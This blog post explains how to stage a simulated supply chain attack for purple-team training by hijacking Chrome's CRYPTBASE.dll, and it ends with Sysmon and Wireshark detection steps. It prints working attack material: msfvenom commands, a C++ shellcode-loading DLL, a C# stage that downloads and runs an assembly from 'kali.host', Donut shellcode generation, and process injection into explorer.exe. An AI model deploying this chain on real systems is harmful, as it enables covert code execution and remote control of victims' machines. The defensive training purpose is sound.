Over the last year, I've become a big fan of Purple Teaming. Purple Teaming is where the Red Team and Blue team meet, where adversarial emulation meets detection. Purple Teaming at a core is executing various Tactics Techniques and Procedures (TTPs) in a controlled manner on a network to test coverage and detection capability. It's an excellent augment to Red Teaming (and penetration testing), and can help bridge the cultural gap between the Red and Blue teams at an organization and foster an environment of healthy competition vs animosity.
This post details a method of creating a realistic synthetic supply chain attack, which can be conducted as part of a Purple Team exercise.
Most readers of this blog are likely knowledgeable of the fallout from the SolarWinds Orion incident that was uncovered late last year. As such, I won't rehash the events. As more and more firms have been uncovered as having been targeted as part of this (or related) incident, supply chain attacks have once again become among the top concerns of organizations.
If you aren't familiar with the term "supply chain attack", it's where a target is breached through a trusted third-party system or software. Essentially, your organization becomes compromised because your vendor was compromised.
While espionage-driven supply chain attacks like the SolarWinds incident may not be a concern for most organizations, supply chain attacks provide adversaries a big "bang for the buck". Entire industries can be targeted in one swoop by targeting a common weak leak.
Just a year ago, a practice management software used in the dental industry was targeted in a supply-chain attack, and used to disrupt dental practices with ransomware. Years before was the infamous CCleaner supply chain attack, compromising millions of machines. Just a month ago a popular CI/CD pipeline tool Codecov was compromised. Certain industries are more susceptible than others. Industries that rely on a glut of commonly used third-party software have much higher rates of exposure. The more valuable the data of an industry or more potential for disruption, the more attractive a target becomes to an adversary.
Unfortunately, weak supply chain links are plentiful. Talk to any offensive security professional, and they will gladly tell stories that should chill the bones of any business owner or board of directors. This is where Purple Teaming comes into play, and provides a method to prepare for if/when things go wrong, like if/when a trusted vendor ships malware with a software update.
The question remains, how do we go about realistically simulating such a supply-chain attack to test organizational defenses? Most organizations don't have access to code signing certificates to prepare a realistic test. Instead, we can take advantage of a Windows "feature" to inject synthetic malware inside a trusted executable, DLL hijacking.
When a Windows binary (a.k.a. a Portable Executable) attempts to load a DLL that has not been included with an absolute path, the operating system will search a series of directories for the DLL. The path precedence in Windows is as follows:
To perform a DLL hijack, a custom DLL is placed at a location with higher path precedence than where the target DLL resides.
It should be noted that DLL hijacking isn't necessarily a flaw in Windows. If the target location is writable by any user on the system, there may be an opportunity for lateral movement and/or privilege escalation, but most of the time the precedence paths are locked down and only accessible to local administrators of the system. For the purposes of the exercise described in this post, that is OK. We aren't looking to escalate privileges, rather we are looking to hijack the execution flow within a signed binary to simulate an attacker compromising the target application in a supply chain incident.
It's actually quite common for Windows applications to search for DLLs in locations where they aren't found. Again, this isn't a flaw, but the normal execution model within Windows. However, this does provide an ample opportunity to locate a binary that meets our supply chain attack simulation purposes.
To identify potential DLL hijack candidates, the utility procmon can be used to analyze binary execution within the operating system.
Procmon - or Process Monitor - is a Microsoft SysInternals tool that monitors process activity in real-time. Since the tool outputs a lot of data, filters can be applied to make the output a bit more usable.
For the example in this post, Google Chrome will be targeted. Filters within procmon can be set up in the following manner to analyze the behavior of chrome.exe.
Process Name | begins with | chrome.exe | Include |
Result | is | NAME NOT FOUND | Include |
Path | ends with | .dll | Include |
In no time several DLL hijack candidates are identified...
We will focus our attention on CRYPTBASE.dll, and specifically the path C:\Program Files (x86)\Google\Chrome\Application\CRYPTBASE.dll. Other candidates may work as well, but not all DLLs are built the same; meaning, the DLLMain entry point used further down in this writeup will work for CRYPTBASE.dll, but not for every DLL (however, it will work for many DLLs).
Now that a suitable DLL hijack candidate has been found, before investing more time, it should be tested to ensure it will behave as expected. The easiest way to test DLL hijacking is to prepare a DLL with msfvenom. Unless time is spent modifying the template used by msfvenom to generate the DLL, it will not be stealthy - or even get around antivirus - but that's OK. Msfvenom will be only used to test that code execution will work with the target DLL and executable. With antivirus turned off, execution can be tested.
The following command will generate a DLL that will execute calc.exe when loaded. Be sure to match the architecture of the DLL to the architecture of the application - likely 64-bit in this day and age.
msfvenom -p windows/x64/exec CMD="C:\windows\system32\calc.exe" -a x64 -f dll -o calc.dll
By copying the generated DLL to C:\Program Files (x86)\Google\Chrome\Application\CRYPTBASE.dll and executing chrome.exe, execution should be disrupted. Instead of launching Chrome it will instead execute calc.exe. If this doesn't happen, either the DLL is in the wrong location, or another DLL candidate should be chosen.
One unfortunate side effect of hijacking execution, is that chrome.exe will crash. This is because API interfaces that reside within CRYPTBASE.dll will not be found by the executable. Another layer of sophistication could be added to the exercise through DLL proxying. The DLL proxying technique creates stubs for the expected API interfaces found within the real DLL. When the executable attempts to load an exposed method, the stub forwards the call to the real DLL and returns the response back. For simplicity, DLL proxying is outside the scope of this exercise, and isn't required for the scenario.
With the basics of DLL hijacking out of the way, our Purple Team exercise can be crafted. The exercise will work in the following manner:
The custom DLL template will look like the following:
// Generate test shellcode with: // msfvenom -p windows/x64/exec CMD="C:\windows\system32\calc.exe" -f c -a x64 unsigned char shellcode[] = ... BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { HANDLE threadHandle; threadHandle = hDll; switch (dwReason) { case DLL_PROCESS_ATTACH: executeShellcode(); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } void executeShellcode(void) { void* execbuf = VirtualAlloc(0, sizeof sc, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(execbuf, shellcode, sizeof shellcode); ((void(*)())execbuf)(); } // To test execution rundll32.exe can be used: // rundll32 myhijack.dll,RunExecuteShellcode extern "C" __declspec(dllexport) void RunExecuteShellcode() { executeShellcode(); }
To ensure it's working as-expected, the DLL can be tested like so:
rundll32 myhijack.dll,RunExecuteShellcode
The payload for the DLL is specified in the shellcode variable. Many offensive capabilities are easier to develop in C# vs C++, so it would be ideal to be able to load a .NET assembly as a stage0 payload. The utility Donut helps accomplish this goal.
The stage0 C# payload has one job, to help us load additional .NET assemblies into memory. The code used in this example is pretty basic, and looks like the following. This code can be improved to include encryption using techniques I described in this post, but is omitted here for simplicity.
// Excerpt from MikeDrop... var wc = new WebClient(); wc.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"); // Not obfuscated or subtle, but are your controls able to detect this? var a = Assembly.Load(wc.DownloadData("http://kali.host/MikeC2.exe")); var t = a.GetType("MikeC2.Program"); var c = Activator.CreateInstance(t); var m = t.GetMethod("DoMain"); m.Invoke(c, null);
Once built, Donut can turn the .NET assembly into executable shellcode, which can be embedded in the DLL written in C++. When using Donut, I recommend to compile and run the current master branch on github. I did not have luck using the dev branch or previous releases of the tool. I also recommend running the tool from within Windows. I did not have as much luck generating shellcode with the Linux utility and mingw from within Kali, and getting it to execute in the manner described in this post. YMMV.
// Generate shellcode of C# assembly with Donut donut.exe -a 2 -f 4 -c MikeDrop.Program -m RunMain ..\..\Source\Repos\MikeDrop\MikeDrop\bin\Debug\MikeDrop.exe
The shellcode can be tested before embedding in the DLL, using the included DonutTest utility that's part of Donut. I actually recommend using DonutTest from the dev branch, as it includes some improvements over the master branch.
DonutTest.exe <pid> loader.bin
With the shellcode added into the DLL, it's a good idea to ensure that execution succeeds, which can again be performed with rundll32.exe. The DLL I used in this simulation also includes functions that identify the PID of the running explorer.exe process and use CreateRemoteThread to migrate execution from chrome.exe to explorer.exe.
If an attacker has the capability to conduct a supply-chain attack, it's likely they have the ability to also develop a custom C2 client/server. For this reason, instead of using an off-the-shelf C2 framework, a basic C2 client / server are presented.
The C2 server consists of this PHP code. When an agent checks in to the server, a unique uuid is sent back to the client. The client sends the uuid to the server and awaits additional instructions. The server can be pre-loaded with an adversary emulation plan, which can be tuned to the exercise goals.
The C2 client is a .NET assembly that communicates to the server over HTTP(S) and executes commands sent by the server, once checked in.
With all the pieces in place, it's time to test execution.
Two utilities can be used to analyze execution, Sysmon and Process Explorer.
Process Explorer is a Microsoft Sysinternals utility that provides an intensive view into processes running on the system. The caveat is that it doesn't include any logging capability. Even with this limitation, it's a great way to visually monitor execution.
If you aren't familiar with the tool System Monitor, you should be. It's one of the most capable logging utilities available for Windows environments and is completely free, provided as part of the Microsoft SysInternals toolset. The folks at Black Hills Information Security have a comprehensive guide to all the event codes generated by Sysmon.
To set up sysmon, do the following:
You will need an initial configuration to make sysmon useful. I recommend using the configuration provided by SwiftOnSecurity as a baseline.
Logs from sysmon are aggregated in the Windows Event viewer at the following path:
Event Viewer > Applications and Services Logs > Microsoft > Windows > Sysmon > Operational
It's also recommended to select the option in the left pane "Clear Log..." to view the events generated by process execution in a clean manner.
On execution of chrome.exe events are collected by sysmon. The following are provided as a sample.
Network anomolies can be inspected with Wireshark. While wireshark isn't a tool that one would run continuously on a network, it's a useful tool to better understand the traffic generated on a host or network during a simulation, to build up alerts on portions of the network where visibility can be gained into network traffic.
In the simulation discussed in this post, analyzing traffic from kali.host and attacker.host isolate the simulated malicious traffic.
// wireshark display capture filters ip.src_host eq kali.host or ip.dst_host eq kali.host ip.src_host eq attacker.host or ip.dst_host eq attacker.host
For each event several questions should be asked:
There is a lot of material covered in this post. It's my goal that you can use this framework as a starting off point to conduct simulated supply-chain purple team exercises within your environment. All the parts are moving, and can be customized or adapted to any environment. I have released all the source code that is part of this post on GitHub, as resources to be used by for your team!
The next part is the hard part, and the part I can't do for you. Testing TTPs and determining which can be detected and which are high value indicators to better secure your environment.
Posted: May 25, 2021
Keyword tags: purple teamadversarial emulationsupply chain hack
S3 Buckets: Now With Both Leak & Fill Vulnerability
Stealing Data With CSS: Attack and Defense
Move Over S3: Open Directory Indexes Continue to be a Problem
Security Researchers Lose a Favorite DNS Recon Tool Jan 2018
KRACK: How To Protect Yourself on a Flawed Network
Equifax, SEC, & Now Deloitte: Organizations Must Employ Offensive Security